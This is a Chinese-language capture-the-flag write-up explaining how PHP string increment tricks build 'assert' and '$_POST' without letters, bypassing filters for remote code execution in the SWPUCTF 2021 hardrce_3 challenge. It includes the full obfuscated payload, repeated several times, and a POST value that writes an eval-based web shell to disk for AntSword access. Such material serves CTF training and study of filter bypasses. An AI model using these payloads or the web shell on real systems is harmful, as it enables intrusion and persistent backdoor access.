关于自增
自增(Increment)通常指的是将某个值增加一个固定的增量。在编程中,自增通常用于循环计数、迭代或者更新变量的值等情况。
在许多编程语言中,自增操作可以通过使用 ++
符号来完成。例如,在C语言中,++
操作符可以用于将变量的值增加1。
例如:
<?php
$_++;
这儿我们对$_变量进行了自增操作,但是我们没有给变量$_进行定义值,那么php会自己给$_赋一个默认的值NULL==0
可以发现,我们对$_进行了自增操作,最开始他的默认值是0,进行自增后他的值就为1了。
因此,当我们在不能使用数字的情况下,我们可以通过对未定义变量进行自增操作来得到我们想要的数字
"A"++ ==> "B"
"B"++ ==> "C"
如果我们有字母A的话,那我们就可以通过自增自减,得到我们所需要的字母。
但问题就是,没有字母怎么办呢,我们要怎么才能得到一个字母A呢
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
<?php
$a = ''.[];
var_dump($a);
<?php
$_=[].''; // 将空数组转换为字符串,得到"Array",赋值给变量$_
$___ = $_[$__]; // 从$_中获取索引为$__的字符,由于$__没有定义,默认为0,因此$___得到"A"
$__ = $___; // 将$___的值赋给$__,现在$__的值也是"A"
$_ = $___; // 将$___的值赋给$_,现在$_的值也是"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 得到"S",现在$__的值为"S"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"AS"
$___ .= $__; // 再次将$__追加到$___后面,现在$___的值为"ASS"
$__ = $_; // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++; // 得到"E",现在$__的值为"E"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; // 得到"R",现在$__的值为"R"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"ASSER"
$__++;$__++; // 得到"T",现在$__的值为"T"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"ASSERT"
$__ = $_; // 将$_的值赋给$__,现在$__的值为"A"
$____ = "_"; // 定义变量$____为"_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 得到"P",现在$__的值为"P"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_P"
$__ = $_; // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 得到"O",现在$__的值为"O"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_PO"
$__++;$__++;$__++;$__++; // 得到"S",现在$__的值为"S"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_POS"
$__++; // 得到"T",现在$__的值为"T"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_POST"
$_ = $$____; // 将$_POST赋值给$_
因此我们在写题时,就可以通过自增操作得到POST传参,执行RCE
//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式:通过自增构造出来的等于assert($_POST[_]);
[SWPUCTF 2021 新生赛]hardrce_3
打开环境,进行代码审计,是无字母RCE,并且也过滤了异或和取反,那就只能进行自增绕过了
//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式:通过自增构造出来的等于assert($_POST[_]);
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
我们构造url:
url/?wllm=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
然后我们在POST传参传入:
_=phpinfo();
看到他过滤了很多,但没有过滤 file_put_contents函数,那我们就利用file_put_contents函数构造POST传参一句话木马,然后用蚁剑连接
构造POST传参:
_=file_put_contents('2.php','<?php eval($_POST[1]);?>');
使用蚁剑连接,得到flag